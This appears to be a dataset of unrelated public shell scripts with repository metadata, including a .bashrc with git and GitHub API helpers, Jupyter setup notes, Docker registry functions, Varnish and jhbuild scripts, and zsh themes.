#--job-name=${expname}_sort \
#sort_index_batch.sh)
#testing_1.sh
# format id
#sortid=${sortid##* }
#echo $sortid
##### Genome Sorting #####
#gen_srt_id=$($outerrsbatch \
#--dependency=afterany:${sortid} \
#--job-name=${expname}_gen \
#create_genometxt.sh )
#--dependency=afterany:${sortid} \
#gen_srt_id=${gen_srt_id##* }
##### Coverage #####
# Batch coverage command goes here
#cov_id=$($outerrsbatch \
#--dependency=afterany:${gen_srt_id} \
#--array=1-${filenum} \
#--job-name=${expname}_cov \
#coverage_batch.sh)
#covid=$($outerrsbatch --dependency=afterany:${sortid} `\
#testing_2.sh)
#cov_id=${cov_id##* }
# Coverage processing to generate a processed bed file
#pro_cov_id=$($outerrsbatch \
#--dependency=afterany:${cov_id} \
#--job-name=${expname}_p_cov \
#cov_processing.sh)
#pro_cov_id=${pro_cov_id##* } # Make sure that this is for the rendering.
echo All Job Submitted
| true
|
45aae1922839707d927724e2f45dd95f18b3893b
|
Shell
|
ecmwf/magics
|
/regression/load_py.ksh
|
UTF-8
| 451
| 2.765625
| 3
|
[
"Zlib",
"LGPL-2.0-or-later",
"MIT",
"LicenseRef-scancode-other-permissive",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"xlock",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
#!/bin/ksh
set +x
versions="3.0.1"
ext="py"
img_ext="png"
where='proj4'
interpretor='python'
src='tpers'
dir=`pwd`
name=`basename $dir`
for s in $src
do
for v in $versions
do
module swap Magics/$v
echo "magics/reference/$v/$where"
# ../upload.py $v ./$sf $s.$img_ext magics/reference/$v/$where -i $interpretor
/tmp/cgs/git/magics-develop/regression/upload.py $v ./$src.py $src.png magics/reference/$v/$where -i $interpretor
done
done
| true
|
786fac96f39a8ece6f5117214a42b00ec2dfd112
|
Shell
|
mkearney/dot_files
|
/files/.bashrc
|
UTF-8
| 3,954
| 3.125
| 3
|
[] |
no_license
|
# ssh into work computer var
export WORKIP=128.206.132.181
# Update github repositories
update_repos()
{
# start at home dir
cd ~
# apitools
cd ~/R/apitools
echo "REPO:apitools"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# CAR2018-rtweet
cd ~/R/CAR2018-rtweet
echo "REPO:CAR2018-rtweet"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# google APIs
cd ~/R/googleapis
echo "REPO:googleapis"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# hack rtweet
cd ~/R/h.rtweet
echo "REPO:h.rtweet"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# ijpp paper (with ben)
cd ~/R/ijpp_osror
echo "REPO:ijpp_osror"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# my markdown template
cd ~/R/prettysimplemd
echo "REPO:prettysimplemd"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# reviewer
cd ~/R/reviewer
echo "REPO:reviewer"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# rtweet
cd ~/R/rtweet
echo "REPO:rtweet"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# tfse
cd ~/R/tfse
echo "REPO:tfse"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# trickrtweet
cd ~/R/trickrtweet
echo "REPO:trickrtweet"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# trumptweets
cd ~/R/trumptweets
echo "REPO:trumptweets"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# my website
cd ~/Website/mkearney.github.io
echo "REPO:mkearney.github.io"
echo "pull..."
git pull
echo "pushing..."
git add .
git commit -m "fresh update from macbook"
git push
# back to home dir
cd ~
}
# Create new Github repository (public)
create_repo()
{
USER=mkearney
## Name of repo defaults to name of working dir
CURRENTDIR=${PWD##*/}
GITHUBUSER=$(git config github.user)
# Get values from args
REPONAME=$1
DESCRIPTION=$2
# Send curl request and add/push local repo
curl -u ${USER:-${GITHUBUSER}} https://api.github.com/user/repos -d "{\"name\": \"${REPONAME:-${CURRENTDIR}}\", \"description\": \"${DESCRIPTION}\", \"has_issues\": true, \"has_downloads\": true, \"has_wiki\": false}"
git remote add origin git@github.com:${USER:-${GITHUBUSER}}/${REPONAME:-${CURRENTDIR}}.git
git push -u origin master
}
# Create new PRIVATE Github repository
create_private_repo()
{
USER=mkearney
## Name of repo defaults to name of working dir
CURRENTDIR=${PWD##*/}
GITHUBUSER=$(git config github.user)
# Get values from args
REPONAME=$1
DESCRIPTION=$2
# Send curl request and add/push local repo
curl -u ${USER:-${GITHUBUSER}} https://api.github.com/user/repos -d "{\"name\": \"${REPONAME:-${CURRENTDIR}}\", \"description\": \"${DESCRIPTION}\", \"private\": true, \"has_issues\": true, \"has_downloads\": true, \"has_wiki\": false}"
git remote add origin git@github.com:${USER:-${GITHUBUSER}}/${REPONAME:-${CURRENTDIR}}.git
git push -u origin master
}
cat_make()
{
echo -e "#!/bash/bin\nopen -a emacs -n make.R\n" > make
echo -e "## r\n" > make.R
}
| true
|
0a676e8b80d6fd7701feabcaa52b3f6f6d570d54
|
Shell
|
engells/knowlinux
|
/prog_coding/python_edit_jupyter.txt
|
UTF-8
| 5,578
| 2.921875
| 3
|
[] |
no_license
|
#!/bin/bash
# vim:ts=4
# program: Using to note the knowledge about Jupyter
# made by: Engells
# date: Jan 30, 2021
# content: Just for memo
指令
====================
jupyter notebook
# --ip=xxx.xxx.xxx.xxx; ip=0.0.0.0; ip='*'
# --port=8890
# --no-browser
# --allow-root
# pipenv run jupyter notebook --ip=172.25.3.12 --port=8890 --no-browser --allow-root 1>/dev/null 2>&1 &
jupyter notebook list
# 顯示執行中的 jupyter servers
jupyter --path
jupyter kernelspec list
# 查看 Jupyter 環境所配置 kernel
jupyter kernelspec remove kernel_name
# 自 Jupyter 環境移除 kernel
安裝
====================
安裝至虛擬環境
---------------
pipenv install jupyter
# pip3 install jupyterlab, re-install packages if out-time error happened
pipenv install ipykernel
# 安裝 python kernel,R 語言的 kernel 為 irkernel
# 預設路徑為 /path/to/virtual/share/jupyter/kernels/kernel_name 或 /usr/local/share/jupyter/kernels/kernel_name
# 預設配置文件為 /path/to/預設路徑/kernel.json
pipenv shell && python3 -m ipykernel install --user --name xxxx
# 建立 python kernel 至虛擬環境 xxxx
pipenv run python3 -m ipykernel install --user --name xxxx --display-name "yyyy"
# 建立 python kernel 至虛擬環境 xxxx,並在 Jupyter Notebook 中顯示 kernel 為 yyyy
安裝至系統主環境
---------------
Method 1 (Default)
sudo apt update && sudo apt upgrade && apt install python3 python3-pip python3-dev
python3 --version ; pip3 --version
apt install ipython && pip3 install jupyter
useradd -M jupyter
su - jupyter -c 'Jupyter Notebook --ip IP_Address --no-browser' &
# 執行 jupyter-notebook,注意是以 jupyter 帳號執行
# URL: https://wpcademy.com/how-to-install-jupyter-on-ubuntu-18-04-lts/
# https://www.rosehosting.com/blog/how-to-install-jupyter-on-ubuntu-18-04/
Method 2
sudo apt install jupyter-notebook
# 執行 jupyter-notebook
set password
---------------
jupyter notebook --generate-config
# create a config file in ~/.jupyter/jupyter_notebook_config.py
# run commands in python shell
# from notebook.auth import passwd
# passwd()
# add password on config file: c.NotebookApp.password = u'sha1:xxxx....'
jupyter notebook password
set ssl
---------------
openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout /path/to/mykey.key -out /path/to/mycert.pem
jupyter notebook --certfile=mycert.pem --keyfile mykey.key or edit config file
# c.NotebookApp.ip = 'xxx.xxx.xxx.xxx'
# c.NotebookApp.open_browser = False
# c.NotebookApp.port = 8890
# c.NotebookApp.certfile = u'/absolute/path/to/mycert.pem'
# c.NotebookApp.keyfile = u'/absolute/path/to/mykey.key'
# c.NotebookApp.password = u'sha1:...<your hashed password here>'
# c.NotebookApp.notebook_dir = ''
set theme
---------------
pip3 install --upgrade jupyterthemes
jt -l # show themes available
jt -t theme_name # change to new theme
jt -r # return to default theme
jt -t oceans16 -tf merriserif -tfs 10 -fs 12 -nf ptsans -nfs 13 -T -N -f roboto
概論
====================
IPython
---------------
IPython 通常指的是 Python REPL shell。提供了遠比 Python shell 強大的 shell 環境。該名詞本身就是 Iteractive Python shell 的縮寫。
IPython 具有強大的交互式 shell 及數據運算視覺化的特點,可方便且彈性的整合不同編輯器,擁有高效能及容易使用的平行運算功能,同時也是 Jupyter Notebook 其中的一個 kernel。
IPython Notebook
---------------
IPython Notebook 是基於 IPython REPL 的 web 應用,安裝 IPython 後在終端輸入 ipython notebook 即可啟動服務。其運行結果可以單獨保存,格式為 .ipynb。現 GitHub 已提供 ipython notebook 的線上預覽。
IPython Notebook 將原本的 console-based ,延伸到可互動式計算的新方向,轉成 web-based 來處理整個計算過程,包括開發、編輯、文件化及執行程式,可立即傳遞執行結果。
Jupyter 和 Jupyter Notebook
---------------
Jupyter 是從 IPython 發展演變而來的專案,後來持續發展成支援多語言,包括 Python。Jupyter 實質上是把 IPython 和 Python 解釋器剝離後的產物,將逐漸替代 IPython 獨立發行。Jupyter 可以和 Python 之外的程式結合,比如 Ruby REPL 環境 IRuby 和 Julia REPL 環境 IJulia。相對的 Jypyter 也提供 Jupyter Notebook。
Jupyter 由 Notebook Frontend、Jupyter Server 及 Kernel Protocol 三部分所組成。
Jupyter Notebook 包含了兩個組成: Web Application 和 Notebook Documents。
網頁應用程序 (Web Application):Web-based 的互動創作及應用工具,包括可以計算、數學、文檔創作及豐富的多媒體輸出。
筆記本文件檔 (Notebook Documents):顯示在 Web Application 當中的內容,包括計算的輸入/輸出、文件說明/解釋、數學運算及運算式、圖片及所有豐富多媒體內容。
nbviewer 是 (Jupyter)Notebook Viewer 的縮寫,用於渲染 .ipynb 文件,並支持 HTML 和 PDF 輸出。
jupyterhub 類似於 git 和 GitHub,或者 docker 與 Docker Hub,jupyterhub 提供 jupyter 文檔托管服務,相對於 GitHub 的 jupyter 支持,jupyterhub 提供更多的交互支持。
參考資料
====================
Jupyter Notebook 完整介紹、安裝及使用說明 https://medium.com/ai-for-k12/jupyter-notebook-%E5%AE%8C%E6%95%B4%E4%BB%8B%E7%B4%B9-%E5%AE%89%E8%A3%9D%E5%8F%8A%E4%BD%BF%E7%94%A8%E8%AA%AA%E6%98%8E-846b5432f044
| true
|
4154e08cdad726c7e1c7dd88d3278776b06f4e49
|
Shell
|
alxlu/dotfiles
|
/bin/setupRclone
|
UTF-8
| 231
| 3.125
| 3
|
[] |
no_license
|
#!/usr/bin/env bash
if [[ $_ != $0 ]]; then
export RCLONE_CONFIG=/mnt/data/shared/rclone.conf
echo Type in config pass:
read -s RCLONE_CONFIG_PASS
export RCLONE_CONFIG_PASS
else
echo "Script must be sourced"
exit 1
fi
| true
|
2aaa66b81283b55a7c0137cbc2055d46afbf96d8
|
Shell
|
ernestojpg/varnish-docker
|
/start-varnish.sh
|
UTF-8
| 523
| 3.3125
| 3
|
[] |
no_license
|
#!/bin/sh
if [ -z "${VARNISH_PID_FILE}" ]; then
VARNISH_PID_FILE="/var/run/varnish.pid"
fi
COMMAND="/usr/local/sbin/varnishd \
-F \
-P ${VARNISH_PID_FILE} \
-f ${VARNISH_VCL_CONF} \
-a ${VARNISH_LISTEN_ADDRESS}:${VARNISH_LISTEN_PORT} \
${DAEMON_OPTS}"
echo "Starting Varnish version ${VARNISH_VERSION} ..."
if [ -f "/usr/local/lib/varnish/modules.txt" ]; then
cat /usr/local/lib/varnish/modules.txt
fi
echo "\n${COMMAND}\n"
# Start the application replacing the current shell process
exec ${COMMAND}
| true
|
ac01b074d963f82ba18c0459541a250f1f56403d
|
Shell
|
tixsys/esteid
|
/packages/jhbuild/trunk/setup-jhbuild.sh
|
UTF-8
| 1,215
| 3.90625
| 4
|
[] |
no_license
|
#!/bin/sh
#
# Script that sets up jhbuild for Open EstEID.
# Run this to checkout jhbuild and the required configuration.
# Copyright 2010 Antti Andreimann
#
# Quick HOWTO:
#
# sh setup-jhbuild.sh
#
# jhbuild -f config bootstrap --ignore-system
# jhbuild -f config build
#
mydir=`dirname $0`
mydir=`pwd`/$mydir
BDIR=$mydir/build
set -e
die()
{
echo $1
exit 1
}
# Sanity Check
[ x"`which svn`" == x ] && die "Svn (subversion) must be installed."
[ x"`which git`" == x ] && die "Git must be installed."
[ -f $mydir/jhbuild-revision ] || die "Can't find $mydir/jhbuild-revision"
JHB_REV=`cat $mydir/jhbuild-revision`
echo "Checking out jhbuild from git ..."
if ! test -d $BDIR/jhbuild; then
mkdir -p $BDIR/work
cd $BDIR
git clone git://git.gnome.org/jhbuild
cd jhbuild
git checkout $JHB_REV
else
cd $BDIR/jhbuild && \
git checkout -f $JHB_REV 2> /dev/null || \
(git fetch && git checkout -f $JHB_REV)
fi
for p in $mydir/patches/jhbuild/*.patch; do
if [ -f "$p" ]; then
echo "Applying `basename $p` ..."
git apply $p
fi
done
echo "Installing jhbuild ..."
make -f Makefile.plain DISABLE_GETTEXT=1 PREFIX=$BDIR install >/dev/null
echo "Done."
| true
|
00430e668f515ca46922db16d188788a3fc7c04a
|
Shell
|
n3wscott/ledhouse-broker
|
/test.sh
|
UTF-8
| 1,858
| 2.53125
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/bash
printf "\n\nGet the catalog:\n\n"
curl -X GET "http://localhost:3000/v2/catalog" -H "accept: application/json" -H "X-Broker-API-Version: 2.13"
# -----------------------
printf "\n\nProvision the light registry:\n\n"
curl -X PUT "http://localhost:3000/v2/service_instances/lightreg" -H "accept: application/json" \
-H "X-Broker-API-Version: 2.13" \
-H "X-Broker-API-Originating-Identity: ledhouse bGVkaG91c2U=" \
-H "Content-Type: application/json" \
-d "{\"service_id\":\"light-registry\",\"plan_id\":\"default\"}"
printf "\n\nBind to the light registry:\n\n"
curl -X PUT "http://localhost:3000/v2/service_instances/lightreg/service_bindings/binding-lightreg" \
-H "accept: application/json" -H "X-Broker-API-Version: 2.13" \
-H "X-Broker-API-Originating-Identity: ledhouse bGVkaG91c2U=" \
-H "Content-Type: application/json" \
-d "{\"service_id\":\"light-registry\",\"plan_id\":\"default\"}"
# ------------------------
printf "\n\nProvision a light:\n\n"
curl -X PUT "http://localhost:3000/v2/service_instances/aabbcc11" -H "accept: application/json" \
-H "X-Broker-API-Version: 2.13" \
-H "X-Broker-API-Originating-Identity: ledhouse bGVkaG91c2U=" \
-H "Content-Type: application/json" \
-d "{\"service_id\":\"location-4a\",\"plan_id\":\"location-4a-kind-blue\"}"
printf "\n\nBind to that light:\n\n"
curl -X PUT "http://localhost:3000/v2/service_instances/aabbcc11/service_bindings/binding-aabbcc11" \
-H "accept: application/json" -H "X-Broker-API-Version: 2.13" \
-H "X-Broker-API-Originating-Identity: ledhouse bGVkaG91c2U=" \
-H "Content-Type: application/json" \
-d "{\"service_id\":\"location-4a\",\"plan_id\":\"location-4a-kind-blue\"}"
# -d "{\"Intensity\":\"1.0\"}"
printf '\n\n'
echo "Now: curl -X PUT -H \"Content-Type: application/json\" -d '{\"intensity\":0.1}' <url>"
printf '\n\n'
| true
|
399f1672fc7098581083ff917d1e3d8eeb727b90
|
Shell
|
kiemlicz/util
|
/vm/docker_functions
|
UTF-8
| 1,651
| 3.765625
| 4
|
[] |
no_license
|
#!/usr/bin/env bash
docker_run_publish_ports() {
local host_port=${2}
local container_port=${3}
local host_ip=${5-127.0.0.1}
docker run -d -p $host_ip:$host_port:$container_port --name $4 $1
}
docker_run_interactive() {
docker run -it --entrypoint=/bin/bash $1
}
# attach to running container and allocate shell
docker_attach_shell() {
docker exec -i -t $1 /bin/bash
}
docker_deploy_registry() {
local auth_dir=$1
local user=$2
local passwd=$3
local registry_volume=$4
htpasswd -Bbn $2 $3 > $auth_dir/htpasswd
if [ -z $5 ]; then
docker run -d \
-p 5000:5000 \
--restart=always \
--name registry \
-v "$auth_dir":/auth \
-v "$registry_volume":/var/lib/registry \
-e "REGISTRY_AUTH=htpasswd" \
-e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
-e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \
registry:2
else
local cert_dir=$5
docker run -d \
-p 5000:5000 \
--restart=always \
--name registry \
-v "$auth_dir":/auth \
-v "$registry_volume":/var/lib/registry \
-e "REGISTRY_AUTH=htpasswd" \
-e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
-e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \
-v $cert_dir:/certs \
-e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt \
-e REGISTRY_HTTP_TLS_KEY=/certs/domain.key \
registry:2
fi
}
# API functions
# remove image (directory) from registry
# $1 repo url (full path e.g. IP:PORT/PATH)
# $2 image name
# $3 repo username
docker_remove_image() {
curl -u $3 -X DELETE $1/$2
}
| true
|
4638bdb2749d948778eb93c73448f4d753dcd1a3
|
Shell
|
Roshanjossey/dot-files
|
/.oh-my-zsh/plugins/command-not-found/command-not-found.plugin.zsh
|
UTF-8
| 1,154
| 3.09375
| 3
|
[
"MIT"
] |
permissive
|
# Uses the command-not-found package zsh support
# as seen in http://www.porcheron.info/command-not-found-for-zsh/
# this is installed in Ubuntu
[[ -e /etc/zsh_command_not_found ]] && source /etc/zsh_command_not_found
# Arch Linux command-not-found support, you must have package pkgfile installed
# https://wiki.archlinux.org/index.php/Pkgfile#.22Command_not_found.22_hook
[[ -e /usr/share/doc/pkgfile/command-not-found.zsh ]] && source /usr/share/doc/pkgfile/command-not-found.zsh
# Fedora command-not-found support
if [ -f /usr/libexec/pk-command-not-found ]; then
command_not_found_handler () {
runcnf=1
retval=127
[ ! -S /var/run/dbus/system_bus_socket ] && runcnf=0
[ ! -x /usr/libexec/packagekitd ] && runcnf=0
if [ $runcnf -eq 1 ]
then
/usr/libexec/pk-command-not-found $@
retval=$?
fi
return $retval
}
fi
# OSX command-not-found support
# https://github.com/Homebrew/homebrew-command-not-found
if type brew &> /dev/null; then
if brew command command-not-found-init > /dev/null 2>&1; then
eval "$(brew command-not-found-init)";
fi
fi
| true
|
bfb8b241300f720cdf9e039216f8e84ac88f032e
|
Shell
|
hehexianshi/simple_code
|
/rand.sh
|
UTF-8
| 268
| 3.546875
| 4
|
[] |
no_license
|
#!/bin/bash
#随机取出任意文件行
file=$1
count=10
#echo $file
len=`cat $file|wc -l`
while [ $count -gt 0 ]
do
rand=`expr $RANDOM % $len`
awk 'BEGIN{ d = "'`echo $rand`'";}{ if ( NR == d ) printf $0}' $file
echo
count=`expr $count - 1`
done
| true
|
590ab1d3a9a42994abbc3fa21b8ca32f69882021
|
Shell
|
eirikurn/oh-my-zsh
|
/themes/eirikur.zsh-theme
|
UTF-8
| 481
| 2.765625
| 3
|
[] |
no_license
|
function venv_prompt_info() {
if [ ! -z "$VIRTUAL_ENV" ] ; then
echo "$(basename $VIRTUAL_ENV) "
fi
}
PROMPT='%{$fg[green]%} %% '
# RPS1='%{$fg[blue]%}%~%{$reset_color%} '
RPS1='%{$fg[white]%}%2~$(git_prompt_info) %{$fg[red]%}$(venv_prompt_info)%{$fg_bold[blue]%}%m%{$reset_color%}'
ZSH_THEME_GIT_PROMPT_PREFIX=" (%{$fg[yellow]%}"
ZSH_THEME_GIT_PROMPT_SUFFIX=")%{$reset_color%}"
ZSH_THEME_GIT_PROMPT_CLEAN=""
ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[red]%} ⚡%{$fg[yellow]%}"
| true
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.